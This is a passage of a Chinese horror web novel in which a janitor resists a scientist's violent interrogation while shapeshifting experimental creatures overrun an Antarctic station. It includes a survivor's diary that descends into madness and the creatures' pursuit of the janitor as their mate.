徐久迟疑了,对方固然开门见山,省去了让他争辩的功夫,但这个问题太过含糊,他还没想好要怎么说,一名生化人就大步上前,手中电光噼啪作响。 “别动他!”出人意料的,居然是尤恩嘶哑地大喊,“他是非常、非常珍贵的样本,全世界也只有这一个。我和他的对话,你们谁也不准打扰!” 面罩下,他的眼球布满血丝,隐隐带着几分不受控制的狂乱。 事情已经到这份上了,徐久反而有种超常的冷静,他慢慢坐起来,低声说:“我是被调去……” 话未说完,尤恩不耐烦地打断他:“是的,没错,你是第四批被调去打扫广场的清洁工,在那里你第一次见到了阿克尔实验体,你很震惊,因为你从没见过这样的生物……够了,我不是问你这些!我问的是,你究竟 ,在什么时候,和它们产生实质性的接触的?” 最后一句话,博士一字一句,放缓了语速,十分具有压迫感。 徐久沉默片刻。 要说吗? 算了,好汉不吃眼前亏,他现在要做的就是拖延时间,让六号能找到这里。 “……在重建实验楼的那天晚上,”徐久说,“我遇到了他。” “你遇到了它,”博士说,“然后呢,你被胁迫了吗?被蛊惑了吗?还是说你觉得自己已经过够了居于人下的日子,想利用实验体占领极地站,利用它获取更大的利益?” 徐久盯着他,忽然觉得有点好笑。 于是他张了张嘴,真的就露出了一丝微笑。 博士高高在上,像打量某种会说话的猴子一样看着他,他也好奇地端详这位高权重的博士,如果没有六号,这应该是他这辈子无缘得见的大人物。 “这些都不是我的打算。”徐久说,他笑得更加开怀。 “可能真的是太寂寞了吧?我养着他,是把他当朋友来看待的。” 他说完这句话,满场只剩一片死寂。 所有人瞧他的眼神,都仿佛他是一个无可救药的疯子。 尤恩愣愣地盯着他,重复道:“朋友。” “朋友。”徐久笃定地点头。 防护面罩下,博士的嘴角痉挛、拧动。他盯着徐久,眼神急剧变化,蓦地,他纵身扑过去,一拳砸在徐久脸上! “朋友!”他的双眼熊熊燃烧,尽是暴怒的火光,用力抓住徐久结冰的衣领,“朋友!你这个愚蠢的、愚蠢的……!你知不知道那是什么,你知不知道它有多危险!它不仅吃人,这颗星球上的所有活物它都吃,它拟合DNA的能力,可以让它取代地球上任意的生态位,哪怕是人类本身!朋友?朋友!你蠢得无可救药了!” 哪怕徐久正值青年,并且被繁重的工作锻炼出了一把力气,然而面对这个濒临疯狂的老人,他仍然没能在第一时间躲开对方的攻击,嘴角立刻破损肿胀。 “你是怎么在它手上活下来的?”博士磨牙凿齿,几乎睁裂眼角,“你用什么条件才换取了一线生机?!” 徐久咳了两声,齿缝里鲜血溢流,居然还是笑着的:“我养大了它,什么都不用换。” “你在其中扮演了什么角色?”博士充耳不闻,魔怔了一般继续追问,“你是它的什么?仆从?奴隶?附属品?猎物?共生者?还是说向导?你是引着它毁灭世界的向导,对不对?!” 徐久被他晃得头 晕脑胀,终于抓住机会,一把推开了这个疯狂的老人。 “我说了是朋友!”他喊道,“告诉你,你又不信。” 尤恩一个踉跄,跌倒在地上,身后的研究员赶紧扶起他,又被他狠狠推开。 “你根本不知道你做了什么。”博士跌跌撞撞地站起来,声音嘶哑,眼神疲惫。“你根本不知道你放纵了什么。” “这是最接近永恒的生物,它以人类为食,并且致力于占据我们的世界,它会吸取人的记忆,模拟人的样貌,取代人的地位……对它而言,人类创造出的辉煌文明不值一提,人与人之间的关系更是不需要的累赘。父母对子女的感情,妻子对丈夫的感情,朋友对朋友的感情……一切的爱和恨,温情和牵绊,在进化的冰冷天梯面前,都会沦为雾气一样虚无脆弱的东西。” “你不害怕吗?”老人失望地看着他,“看它吃掉你的同胞,吃掉昨天还在和你说话,谈笑的人,接着伪装成他们的样子,去吃掉更多的人……你不惭愧吗?你也是刽子手啊,你也是间接害死他们的杀人犯!” 这一刻,所有人都用憎恶的,痛恨的眼神注视徐久。 老人不再控诉,他对着徐久,低声下气地哀求:“我求求你,倘若你和它的关系当真这么亲近,就请你告诉我吧,它的弱点到底是什么?你到底是怎么活下来的?” 然而面对这些声讨,徐久依然是笑着的,他说:“我不知道。” 博士勃然大怒:“你这个……!” “我真的不知道。”徐久又说了一遍,“而且,就算知道,我也不可能告诉你们啊。” 他的态度如此直白,如此坦诚,尤恩·韦伯被一下噎住了。 “我和你们不一样的。”徐久自顾自地说,“我不知道自己的父母是谁,很小的时候,我就被送进了莫比乌斯的福利院,我没有体会过父母对子女的感情。没有人喜欢我,我也不曾喜欢过别人,从我记事起,我就一直为了能吃饱穿暖而费尽心思,我没有体会过妻子和丈夫的感情。” “至于朋友……我不是优等生,高中上到一半,就被莫比乌斯的老师鉴定为没有天分,不必再继续浪费学校的名额。我同样没有资格去结交朋友,因此也不明白朋友对朋友的感情。” “人不能凭空想象没见过的事物。你用我从未拥有过的东西来威胁我,试图让我忏悔,让我觉得愧疚,可是它们一直离我那么遥远,远到我都不敢奢望有朝一日可以和它们相见。” 徐久吃吃地笑了起来,他真的觉得这一切都太可乐了。长 年累月,笑容是他用于保护自己的卑微面具,现在,他就用这副油盐不进的面具对付眼前这些地位尊贵的精英,领袖。 “我是什么?我什么都不是,我没有自由,没有自尊,走过路过,谁都可以往我头上踩两脚泄愤……我是什么?我是实验器材,是消耗品,唯独不是人。” 他的笑声越来越大:“我见过那些犯了错的厨师、文员和清洁工是什么下场,我见过他们躺在实验台上的脸!有很多人昨天还在跟我说话,做一样的工作,第二天就被拉进实验室,像被杀的猪一样嚎叫,叫上几个小时,叫上几天几夜!我进去拖地,拖把上全是血和尿,还有他们身上零零碎碎的肉啊!” “上吐真剂,”博士喘息着,阴冷地说,“早知道他是这样麻木不仁的东西,一开始就该给他用吐真剂。” “忏悔!惭愧!你们有脸问我要这个吗?你们也配!”徐久再也控制不住自己的情绪了,他破口大骂,喊得声嘶力竭,“你们死了才最好,这才是你们应得的下场!你们早就该死了!” 博士怒吼道:“给他打吐真剂!” 令行禁止,尤恩刚刚下达命令,一旁久候的生化人立刻大步踏出,不容阻拦地捏住了他的脖子,拔出的针头溅出一串寒光。徐久一边厉声叫骂,一边竭力挣扎,谁也不知道实验室出品的“吐真剂”有什么副作用,会不会把他变成一个只会流口水的傻子。 就在这时,沉闷的爆响由远及近,以极快的速度传递过来,生化人部队纷纷警觉,他们拉紧武器,将博士和他的科研团队挡在身后。 ——地面轰然震荡!整个中枢外层都被如此巨大的冲击力撼动了。合金大门炸开一道不可修补的裂隙,数十只同构体发出尖锐的啸叫,从裂隙中凶猛地冲刷出来。 倘若它们真的是洪水,那必然是世间最可怕,最恐怖的洪水。“哨兵”堡垒系统瞬时启动,然而,对异种造成的伤害却微乎其微,只能将它们暂时阻挡在外侧。 同构体可以随意改变身体密度与形态的能力,使再重的火力也变得无用武之地。 “这不可能……”研究员们吓得脸色煞白,“它……它们怎么会合作?” 尤恩博士更是震惊。 他知道实验体的特性,知道它们的本能就是无休止的互相残杀。在仔细研究过有关徐久的一切监控录像之后,他决心一定要抓住这个千载难逢的样本,也是抱着十分笃定的态度——他始终以为,要对付的实验体只有归属于徐久的那一个。 然而此刻,异种联合的可怖境况,已 经彻底击穿了他设想中的最糟的预期。 “博士,快进中枢!”伽马小队大喊,生化人以极短的速度判断过局势,便已知现状不妙,“我建议我们把目标扔下,以此吸引那些畜生的注意力!” 这个决策固然可惜,但已经是当下的最优解,倘若他们将徐久带回中枢,不仅极地站会很快被暴怒的怪物攻陷,只怕连中枢也安全不了太久。 “不行!”博士暴躁地喊道,“他身上一定还有什么别的秘密,一些我们没挖掘出来的秘密,否则它们不会对他如此穷追不舍!” 刹那间,他过早地陷入癫狂的大脑里,骤然闪过一丝灵光。 尤恩猛地夺过研究员手里的枪,冲向还在挣扎的徐久。 “就带你的一部分尸体回去研究,也是一样的!” “博士!”他身后的研究员发出惊呼,仓皇伸手,“我们不能……!” 尤恩·韦伯已经朝被生化人捉在手里的徐久扑了过去,用枪口抵住青年的胸膛。 “就让我们拿走一条手臂吧……”他嘶嘶地说,“把余下的部分扔给它们就好了!” 徐久缩小的瞳孔中,倒映着尤恩狰狞的脸孔,研究员惊慌制止的身影,竭力射击的生化人……还有马上就要扑到眼前,拼命穿过火线的六号。 一切都像电影里的慢动作镜头 第 26 章 愚人一无所有(二十六) 《我是人啊,你不是?》全本免费阅读 2042年,3月24日 距离我们躲进中枢的日子已经过去了三十四天。 博士一直对那日的事故三缄其口底下的人也不知道那天到底发生了什么,但要从结果推论,那就是:我们全都遭遇了一生中最可怕的噩梦。 想象一下,你的朋友,同事,身边的陌生人,前一天还在和你就绩点竞争不休的对手……在同一时刻,仿佛接收到了某种来自天外的信号,瞬间变身成了畸形的怪物。它们不光杀人、吃人,也同类相残,同类相食。研究所的武装火力根本无法应对那些拟人怪物的力量,我从来不知道从人间到地狱原来只需要短短的几个小时。 我逃了,跟着许多人的脚步一起逃了。极地站已经沦为炼狱到处是血残肢死去的人,还有趴在死人身上进食的异种。许多更具体的细节已经在我的脑海中模糊,我知道这是大脑对人体的保护机制在起作用。 ……唯一庆幸的就是我跟对了朋友。 他是C区的高阶研究员,为人风趣幽默,因为一次实验事故,左手缺了一根手指我们都叫他“四指”。四指知道中枢的临时密码他也知道 和他汇合之后带着一群人我们赶往密道。为了掩护我们离开C区的警卫几乎全灭……老天啊他们连还手的机会都没有要么被那些怪物削成了碎肉要么被毒液腐蚀得骨头渣子都不剩。 空气中香得令人作呕甚至盖过了血腥的味道四指说那是怪物们进食时才会分泌出的芳香物质。听到他说的话我再也忍不住当场就吐了不少人也都吐了…… 好在密道的材质十分坚固它们一时半会儿突破不了。我们几乎是拼死逃到了中枢的位置那里还有大约三百多名研究员一想到曾经拥有上万名员工的极地站如今就剩下这点人伤感和凄凉就涌上我的心头。 不过这会儿还不是伤心的时候面对我们的到来那些生化人并没有第一时间放我们进去他们要求验血。 大家都快气炸了怪物不知道什么时候就会摸到这里生死攸关他们居然还让我们先验血?哎只是事已至此我们还能怎么办呢? 就在我们焦急地排好长队等待生化人给我们抽血的时候异变突生最前面的队伍里两个研究员的头颅忽然裂开了! 那就是字面意义上的“裂开”紧接着它们身上的人皮猛地破裂就像相扑选手穿了最小码的裙子它们撑碎伪装无数锋利的触手乱舞 出来,残忍地收割着附近的人的生命。 上帝啊,我本来是个无神论者的,但那天发生的情况,等于逼着我感谢某一个神明,感谢祂让我逃出生天。 生化人终于出手了,但令人绝望的是,哪怕是这些大幅强化过的实验室武器,也不能与怪物相抗衡。三名生化人以牺牲当中一个作为代价,保护着我们这些幸存者逃进了中枢。 现在,我们只剩下两百多人。 此时此刻,与外界的通讯全然断绝,总部也收不到南极的消息。被困在中枢,我不知道自己还能活多久。但是我发誓,只要多活一天,我就会多记录一天的日记。 希望我们能从等待中获取一线生机。 2042年,4月15日 今天,我听见博士在和他的科研团队争执。 来到中枢之后,许多机密文件都向我们公开了。比如说,我们知道了阿克尔项目的来龙去脉,也知道了当时地底实验场失控的根本原因——实验体的可怕程度,远远超出两名博士的预料。哪怕阿尔法小队动用了微型氢 弹这样的东西,也没能将它彻底摧毁,反倒让它像蒲公英的种子一样随风扩散,落地生根。 不过,博士口中反复提及一个我从未听说过的名字。 “徐久”,他是谁呢? 我必须承认,我之前对时博士十分迷恋。平心而论,他就像电视剧和小说中的完美男主角,年轻,英俊,拥有无可匹敌的天赋,可惜,原来世上是没有完人的说法的。 他的傲慢和自以为是毁了极地站,甚至还可能毁了莫比乌斯,毁了这颗星球。 但我还得承认,我有点羡慕他。起码他在实验体暴动的第一天就死了,现在,只有死人才是最快乐的,因为他们不必忍受活着的痛苦,也不必在猜疑的无间地狱里煎熬。 ……是的,猜疑。 怪物拥有无与伦比的拟态天赋,根据博士揭露的情报,它们甚至可以汲取人类的记忆,做到百分百无破绽的伪装,连最亲近的朋友和家人,都未必能看出它们的异样。 我们开始变得不再信任彼此。 每天,我出去吃饭,与其他人交谈的时候,难以忍受的念头就会不停翻滚上来:他们会不会是怪物?和我说笑的这个人会不会是怪物?他的神态有没有异常,话语间有没有错漏? 多疑的大脑害苦了我,越是制止自己不去想,我就越是绞尽脑汁,要从昔日的朋友、同僚那里寻找出破绽。可是,谁又能经得起这样的细究呢? 比我预想中发生得更快,不 久后,研究员内部就爆发了冲突。一个人在食堂里大叫着另一个人是怪物,将叉子深深刺进了对方的掌心。 接下来的日子里,类似的流血冲突发生了第二次,第三次,乃至第五次,第六次,直到所有人都对此感到习以为常的麻木。 我们身心俱疲,博士不召见的时候,我们只能默契地把自己关在房间里,绝不踏出房门半步。可是在这里,寂寞和无聊也可以逼疯一个人,没有网络,没有工作,没有社交,没有娱乐……什么都没有。空气压抑得使人窒息,我再也控制不住脑子里胡思乱想的念头了。 我要疯了。 2042年,4月21日 四指疯了! 他在深夜偷偷跑出房间,拿着燃油和打火机跑进了种植区,他几乎把那里的种子、蔬菜和储备粮烧得精光,我们全都跑出去灭火,冲天的火光里,我听见四指又哭又笑,又喊又叫。 “我要把怪物饿死!他高声道,“没了食物,你们就跟我们一块饿死在这里吧! 说完,他纵身一跃,跳入熊熊的烈火里。 我吓坏了,我放声尖叫,四指也在放声尖叫……他冲进火场,又浑身燃烧着大火,从里头跑出来,满地乱滚,痛不欲生地哀嚎。 等到随后赶来的生化人将火势扑灭,四指已经没有人形了,他焦黑、蜷缩,分不清五官,但他居然还活着……这一团可怜的肉还活着,还在蠕动,微弱地喘息。 “杀了他。博士说。 除了这句简短的话,他便转身离开,再没有说什么了。 四指死了。 我也快死了。 2042年,4月30日 真是难吃得要命! 种植区被毁,我们只能使用过去低级员工的配给,但这些根本就不是给人吃的东西!蛋白质肉糜清寡得像纸,营养粥则带着一股橡胶的苦味儿,恶心得叫人想吐。 但我们没有办法,不吃就得饿死。 在这里,我已经瘦了二十四斤。 今天,我们的人数好像变了,多了几个我分不出来的人。 不知道是不是我的错觉。 2042年5?月5?8?日 我分不清日子了。 失去白天和黑夜的界限,我很难掌控已经失去的时间。 我们的人越来越多。 好香。 2042年 我彻底记不清日期了。 我应该已经疯了,混沌模糊的昼夜,我听见数不尽的低语,从墙 缝下水道 “回归本源回归本源回归本源……” 水龙头变得滑腻我再也看不清镜子里的人脸线状的胶质菌丝缓慢但是不可阻挡地从墙面上渗透。 我看见活的肉膜覆盖了厨房的水槽它们一鼓一动仿佛正在均匀地呼吸;霜花般细密的深蓝色血管渐渐爬上中枢的高大天穹;大家的精神也变得安定起来久违的祥和微笑开始在许多人的脸上浮现。 ……回归本源。 20……24?42 不要忘记 不要忘记 不要忘记 不要忘记 不要忘记不要忘记不要忘记不要忘记不要忘记不要忘记不回要忘记不要忘记不要忘记不要忘记不要忘记不要忘记不要忘记不要忘记不要忘记不要忘记不要忘记不要忘记不要忘记不要忘记归不要忘记救救救救救救救救救救救救救救救救我不认识你!我不认识你!本我不认识你!我不认识你!我不认识你!我不认识你!我不认识你!我不认识你!我不认识你!我不认识你!我不认识你!我不认识你!我不认识你! 第 27 章 愚人一无所有(二十七) 《我是人啊,你不是?》全本免费阅读 极地站完全变了个模样。 从前它精密、整肃、高效,人类赋予它秩序,又用科技的外壳将它武装,它深埋于南极的腹地,就像一枚闪闪发光的钢铁珍珠。 然而如今再看,它是一个金属与血肉融合,钢筋混凝土与黏质共生的畸宫。溢流的胶膜覆盖了走廊、大厅与目光所见的每一个房间,大理石柱盘绕触角,钴蓝色的毒素妆点着灯管,阿克尔实验体的生物质泛出流丽缤纷的虹光,梦幻地笼罩了一切。 异种按照自己的习性与心意,肆意亵渎、改造着人类昔日的家园。空气中弥散浓郁的腥香,到处是诡异又粘稠的“啵啵吐泡泡声……倘若没有血清支撑,他们早就理智破灭,发疯地冲进水母的领地,只求一死了。 “艾雯,别再写了!一名研究员用气音提醒同伴,“看路要紧,日记的事先放一放吧! 艾雯抬起憔悴苍白的面庞,嘴唇轻轻动了动,还是小心收起日记本,塞进怀里。 隶属于极地站的重装部队共有四支,暴动初期,泽塔小队和伽马小队就被实验体的狂潮彻底吞没。在实验体大规模入侵中枢之后,为了抢救那些浑浑噩噩,但还没有被替代的研究员,贝塔小队也不幸全员殉职。现如今,唯余两名阿尔法小队的成员,是硕果仅存的有效武装力量,拱卫在博士身侧。 “小心行事。尤恩博士说,“我们这是在走钢丝,稍微不慎,就会落得死无葬身之地的下场。 他们绕过走廊,凭借记忆,蹑手蹑脚地穿过运输站通道,抵达C区。 突然,一名生化人抬起手臂,示意所有人停下。 一行人连忙屏住呼吸,强迫自己静音。随着环境的变化,他们脚下的菌毯同时变得越发厚重,墙上的粘膜散发出阵阵温暖的热气,吹得人昏昏欲睡,眼皮沉重。 很明显,他们已经走到了实验体的巢穴范围之内。 按照尤恩·韦伯的研究成果,这些分裂的个体,彼此间抱有强烈的敌意。它们像极了争夺皇位的王储,只将自己视作唯一的正统,而面对其他同源同种的“血亲 但眼下这一幕,却大大超出了他的预想。 ——起码三头异种,共同沉眠在一个开阔的巢穴内部。 看得出来,它们已经进化得十分完善,不光拥有类人的肢体,更有三张近乎一模一样的脸,时夜生的脸。 此刻,它们的半透明表皮翻涌着不正常的潮红,浑身上下的眼球都混浊地紧闭着。主 体部分不安且焦灼地抽搐,从躯干上蔓延出的触须与口腕,也在一刻不停地向外延伸,分泌粘液,凭空塑造着什么。 它们不断改变巢穴的形状,将它转换成更封闭,更复杂崎岖的地形,即便在睡梦中,它们仍然在墙壁上涂抹着芬芳的物质,使其闻起来温暖、馥郁,带有一丝辛辣的余韵。 这不是研究员们闻过的任何一类气味——实验体进食时的香气,远比这个恶心腻人得多。 “它们到底在干嘛?”一名研究员害怕地问。 尤恩·韦伯哑然良久。 “……求偶。”他震撼地说,眼神中充满难以置信的恐惧,“它们在求偶!” 不会错的,哪怕在深度睡眠中,它们也在进行着无意识的求偶行为,这说明了什么呢? 他的声音只是略微大了一点,前方的异种便不约而同地停止抽搐,猛地在躯干上睁开了无数双不规则的钴蓝色眼睛! 所有人顿时闭住呼吸,退缩到角落的阴影里去。 异种发出狂躁的嘶叫,乍然从梦中惊醒,它们显得分外恼火,但介于血清的作用,它们暂时无法嗅探到生人的气味。 “还是没有!”其中一头愤怒地咆哮,口腕用力抽出,将自己在睡梦中塑造的巢穴砸成一片狼藉,语气中含着显而易见的渴求,“我找不到他……找不到他!” “他不见了,被藏起来了,”另一个悬浮在空中,嘶嘶地自言自语,“碎块要独占他……这不公平。” 第三个没有出声,大量无法遏制的,用于筑巢的生物质,从它裂开的嗉囊中喷涌而出。它吸气、吐气,神态饥渴不堪,像发作的瘾君子般不住颤抖。 研究员们大气不敢喘一下,这三头异种全是十分强大的个体,假如一不小心引起它们的注意力,那极地站可就真的当场全灭了。 于是,他们只能听着这三头怪物用嘶哑难辨的咕哝,尖利刺耳的咆哮杂糅交流。半晌后,第三个终于稳定下来,可以使用语言,并且一锤定音。 “继续找,他肯定没有死,他还活着。” 一阵窸窣声后,怪物们亲自动身,离开了巢穴。慢慢的,附近归于平静,确认它们已经远去,人类才敢颤颤巍巍地走出藏身处。 沉默中,艾雯轻声细语,打破死寂的氛围:“所以,它们究竟在做什么呢?” 另一个人粗声粗气地回答:“很明显的筑巢行为,别告诉我你们看不出来。” “你才别告诉我,这些畜生还有繁殖季……” “事实比白纸上的墨还 清楚,我敢断定,它们在找的人就是‘徐久’!但为什么呢……徐久是人类啊,他怎么能激发它们的筑巢行为?” 研究员之间爆发了小小的争论,博士则一言不发,穿过巢穴,继续向前走。 越是往里前进,他们遇到的实验体就越多,大多数时候,它们互相吞噬,激烈厮杀,并没有像之前遇到的三名个体那样,形成相互合作的关系。但它们可怕而饥饿的窃窃私语,却如同燃烧的雾气,无处不在地萦绕盘旋。 “母体……” “……伴侣。” “找到他!” “这不公平……” “他是我的,碎块却把他私藏起来……找到他!” “这不公平!” “伴侣?”听见这个词,其他人都惊疑不定,“它们说的莫非是徐久吗?” 长久的缄默当中,博士几乎无法掩饰自己的震悚之情。 按照实验体的精神网络学说,那么之前三只异种的合作关系,就有了合理的解释: 为了找到被藏起来的徐久,它们情愿抛弃本能,与自己的“碎块”进行合作。它们在睡梦中进行通感,利用增幅强化之后的精神联结,试图定位到徐久饲养的那头异种,以此来探查它到底把徐久放置到了哪里。 这几乎是基因层面和灵魂层面的双重吸引。类似连锁反应,经由实验体之间的共感辐射,徐久的存在,犹如山火燎原一般,点燃了极地站内所有异种的发情期,使它们一同陷入了如痴如狂的热潮当中。 ——伴侣。 尤恩·韦伯想尽了一切可能,思索那个低级清洁工的血如何能发挥这么大的作用,思索他究竟是怎么与实验体日夜相处却还没有变疯,没有被它吞进肚子,思索他凭什么可以保全自己的性命…… 然而,他唯独没有想过,徐久会是阿克尔实验体的伴侣。 要是不能把他带走,就该在那时候就彻底毁了他,让他死的连渣子都不剩下啊!可惜,现在说什么都晚了,世上是没有后悔药可吃的! 博士咬紧牙关,前所未有的悔恨煎熬着他的身心。他打了一个隐秘的手势,一行人无知无觉地改换了方向,胆战心惊地在炼狱中行走。 · 徐久徜徉在温暖的羊水里。 安心适意的幸福感无处不在地环绕着他,将他深厚地包裹。他无忧无虑地在这片属于自己的海洋里到处漂游,不需要害怕,更没有什么是值得他躲避的。 如同置身于母亲的胞宫,在这里,他不会受伤,不会痛苦,不 会难过。这里就是他一生梦寐以求的家园,他赖以为生的港湾。 ……嗯。 我受过伤吗? 徐久闭着眼睛,眉头轻皱。 我以前很痛苦,很难过吗? 他的眼皮跳动了一下,连续的梦境忽然出现了轻微的断裂。 记忆深处,开始不受控制地闪回零碎的画面,研究员、实验室、枪响、刺眼的白光,一圈围上来的黑影,而他就趴在最中央…… 我没死吗? 我应该已经死了啊? ……等等,我为什么是“应该已经死了 碎片连成片段,片段衔接成一个整体:老人扭曲的脸孔,按在胸前的枪管,炸裂的火光,转瞬即逝的巨大痛楚…… ——砰! 徐久猛地睁大眼睛,长吸一口气。 “……哎哟! 紧接着,他不住咳嗽起来,因为他真的浸泡在成分不明的液体里头,惊醒的一瞬间,冷不防呛了一大口到嘴里。 徐久在里头扑腾,连忙按在头顶的奇怪粘膜上,手忙脚乱地撕开了这层柔软的屏障,总算呼吸到了新鲜空气。 大量记忆瞬时涌上脑海,等他缓过来,赶忙往心脏的位置一摸,那里的皮肤好端端的,只有一个浅浅的白印,一点儿看不出被子弹穿透过的痕迹,再探探心跳,除了稍微快一点,和平日里没什么区 第 28 章 愚人一无所有(二十八) 《我是人啊,你不是?》全本免费阅读 徐久探头探脑的,先走出一段距离眼下极地站内部委实暖意融融,哪怕赤脚踩在地上,都不觉得冷。 周遭一片寂静,徐久也情不自禁地放轻了动作,好奇地四处寻摸。 这里原先是研究站的什么地方呢?自己以前可没来过。 他清了清嗓子,小声地喊:“六号?六号?” 奇怪啊,六号去哪儿了? 喊了几声,见周围没什么动静,徐久的胆子也逐渐大了起来,他提高音量,试探性地再喊了几声:“六号!你在哪里啊?” 在他注意不到的角落,一连串的鼓包轻轻膨起仿佛飞速生长的卵泡最终结出饱满的果实,“啵”地飞跃在空中。 ——越来越多的小水母悄无声息地出现在他身后并且紧紧跟随着徐久的脚步。 徐久走到一半察觉有异他狐疑地一转头,登时睁大了眼睛。 为什么有这么多六号……不对为什么有这么多小时候的六号! 小水母的伞盖圆圆的,透明的触须短短的在空中上上下下地飘浮犹如一群轻盈梦幻的小精灵,看得徐久眼睛都直了。 天啊,我真的有好长一段时间没见过这种样子的六号了…… 他立刻站住脚步,那些小水母也一点都不怕生十几只地围拢过来在他身边“啵啵啵”地飞舞看得徐久的心都要萌化了。 他笑眯眯的忍不住伸出一根食指轻轻戳了下挨得最近的小水母。 “你们怎么在这儿呀?”他小声问“你们是来找我的吗?” 只是被他稍微挨碰一下小水母幽蓝色的表皮上就突然涌起了一股浓郁鲜艳的酡红。 徐久很惊讶:“你怎么突然变色了?” 好奇之下他再轻柔地触碰了两次小水母末端的口腕不住痉挛几乎维持不住空中飘浮的姿态。 当徐久戳到第三下的时候它再也按捺不住身体猛地裂开两半粘液淋漓一口包住了徐久的大半只手! 徐久:“哇啊?!” 他吓得蹦了起来用力甩手试图摆脱小水母的嘴巴。被咬到的地方一点也不疼小水母不是为了伤害他 更加雪上加霜的是其余的小水母也一拥而上牢牢扒住他裸露在外的皮肤像要用口水给他彻头彻尾地洗个澡。 徐久委实没想到这个结果他一边跳着脚地狂奔一边使劲挣脱这些小东西的纠缠……什么六号小时 候,这些坏东西还没有六号小时候千分之一听话! 刚头晕脑胀地跑过拐角,徐久眼前一花,猛地撞上一个高大的东西。 “哎哟! 他已经是个成年人了,跑起来的速度也不慢,但这会儿撞上人,倒地的却不是对方,而是他自己。 被撞到的人眼疾手快,迅疾地搂住徐久的腰腹,跟着扯掉他身上的小水母,一下捏得粉碎。 徐久抬头一看,一张跟六号一模一样的脸,正深深地,惊喜地望着自己。 “伴侣……他如梦似幻,又诚惶诚恐地喃喃。 然后猝不及防的,他也跟小水母一样,乍然从口唇处绽出一道深渊般的裂痕,一路开至腹腔,黑洞洞的,就要朝徐久当头包下。 “啊啊啊啊—— 真是才出虎穴,又进狼窝。徐久吓得魂飞天外,拼命呼喊六号的名字:“六号、六号!救驾、救驾! 他拼命扭动,连滚带爬地从异种的怀抱里挣脱,跌到地面,等不及站稳,马上开始慌不择路地继续跑。 身后的同构体伤心至极。 按照他的体格,一步顶得上徐久三步,但是伴侣如此抗拒自己,情愿选择另一个碎块,这令他只能一边紧紧追在徐久后面,一边苦苦剖白。 “我也是六号,你的六号!他真挚地说,“我们同为一体,共享记忆,你养育六号,同时也养育着我。我和他有什么不同,让你只选择他,而不是我呢? 徐久听得稀里糊涂,但又不敢停下脚步,他只能下意识地反驳:“开什么玩笑,你才不是六号呢! 头顶传来一声类似爆破的巨响,震得徐久一个踉跄。 第二只同构体冲破通风管道,降落走廊。 “我记得你的每一个细节!我记得你喜欢什么,讨厌什么,我记得我和你在深夜相互依偎,你说你喜欢星星,想去尝试那些以前从未有机会尝试的东西……难道我不是六号吗?我为什么不是你的六号?我爱你!我愿意用人类的发明的概念来形容我对你的心,我爱你! 在第二个异种做着毫不掩饰的示爱时,越来越多的同构体嗅到空气中的气味,感知到徐久的存在,并且迫不及待地加入了这场贪婪的追逐。 徐久头昏脑胀,听得整个人都要晕过去了。 不是,这都什么跟什么啊! “母体…… “伴侣! “为什么不接受我?我也会喂养你,爱护你,我也会实现你的一切愿望,哪怕要我投身进岩浆当中! “与我结合……” “我不是你的所有物吗?你不要我了吗?看着我,请看着我,我会跪在你脚下!” 徐久逃得太狼狈了,他根本跑不过身后追逐他的那些水母,他转过一个方向,又转过另一个方向,左支右绌,夺路狂奔,也不管自己最后会逃到哪里去。 前面没有路了。 走廊尽头只有一排关上的门,水母的生物质似乎还没有完全覆盖到这里,地上散着一堆乱七八糟的文件,铁皮书柜倾倒破碎,散落在翻滚的桌椅上。 徐久已经无处可去,他仓促地抓起一块形状尖锐的书柜碎片,转身靠在墙上,绝望地面对慢慢包围过来的水母们。 连天花板上都扒满了探头张望的异种,他们的面容如出一辙,五官深邃,俊美而空灵,唯有表情揭示了细微的不同——深情的,渴盼的,饥饿的,灼热的,肉 欲的……丝毫不加掩饰,仿佛仅凭眼神,就能用火辣的热浪将徐久淹没。 徐久紧紧攥着那块尖锐的金属片,心脏剧烈搏动,色厉内荏地指着眼前的伪人大军。 “别过来!”他的声音不自觉地发着抖,手臂和腿也在发抖,“你们敢过来,我就、我就……” 就怎么样?我能怎么样? 徐久的脑子一片空白,他惊惧地喘息,也不知道自己拿着这块可怜的小碎片,到底能对这些铜筋铁骨的生物造成什么伤害。 “不要怕,”他说,他们说,徐久已经分不清是谁在发出声音,“我永远不会伤害你,永远不会让你难过。” 徐久只能大声重复一句话:“别过来!” ——他相信水母的话吗? 尽管这么说很疯狂,但他确实相信这些异种不会伤害自己,这是源于内心深处的直觉,他知道,他就是知道。 ——那么,他会听从他们的话语,张开双臂拥抱他们吗? 不,不,绝无可能。徐久不傻,假如他真的放下了戒备,那迎接他的绝对不会是什么好下场。 虽然……他还暂时还想象不到,这些水母具体能对自己做什么。 “为什么害怕我?”右下角的“时夜生”弓着身体,异常缓慢,但是极具压迫感地朝他爬过来,“你不认识我了吗?我会让你永远开心,永远幸福,再也不会让你受伤吃苦……你不要我了吗?” “……别过来。” “为了佐证我的话,我可以侍奉你,我们都可以侍奉你……” 说着,“时夜生”轻轻张开口唇,他没有舌头,只有无数透明柔软的触 肢,自两瓣嘴唇中盘旋、盛放,湿软淋漓,仿佛蠕动的肉花。 他的呼吸同时变得急促,身体表面也涌动着醉酒般的潮红。同构体快速的,贪婪地吸气,头颅向后仰去,眼神也因为过度的强欲而有些呆滞。 他已经凑得过于接近,甚至快要将自己的眼球插进徐久握持的碎片尖端了。 徐久:“…………” 你们到底在搞什么啊啊啊啊!! 他的手被迫往后缩,整个人退无可退,真的快要崩溃了。周围的空气香得他想打喷嚏,温度又那么热,徐久脸皮通红,浑身是汗, 第 29 章 愚人一无所有(二十九) 《我是人啊,你不是?》全本免费阅读 很长一段时间里,徐久习惯了逆来顺受。 他必须习惯好把自己从身到心重塑成柔软的泥能够被歪曲地填补进任何崎岖的框架里。因为是泥土,所以变成什么样的形状都可以,因为是泥土,所以落到多么卑微低下的境遇里都可以,因为是泥土,所以被如何不公平地对待都可以……因为是泥土。 所以,面对眼下的巨大变故,他倒没有什么“啊天塌了地陷了我要死了”之类的情绪。 恰恰相反,徐久不自然地平静着。他决心要做一些事情,好让自己的脑子不要老想着这一件事。 他站起来,先环顾一圈四周。 这里是间监控室。 一整面墙壁上,排列镶嵌着数目众多的监控屏幕尽管极地站的电力系统还在尽可能完好地运转但站内的监控探头却实在不剩下多少了。 因此,徐久面前只剩一小半屏幕还亮着大致显示出极地站目前的情况。 右下角的画面里有什么东西在动一下吸引了他的目光。 徐久凑过去一看那居然是一队幸存至今的研究员! 他顿时诧异,伸手用指头擦干净沾满灰尘的屏幕费不了多少力气,就辨认出了那一行人的领队。 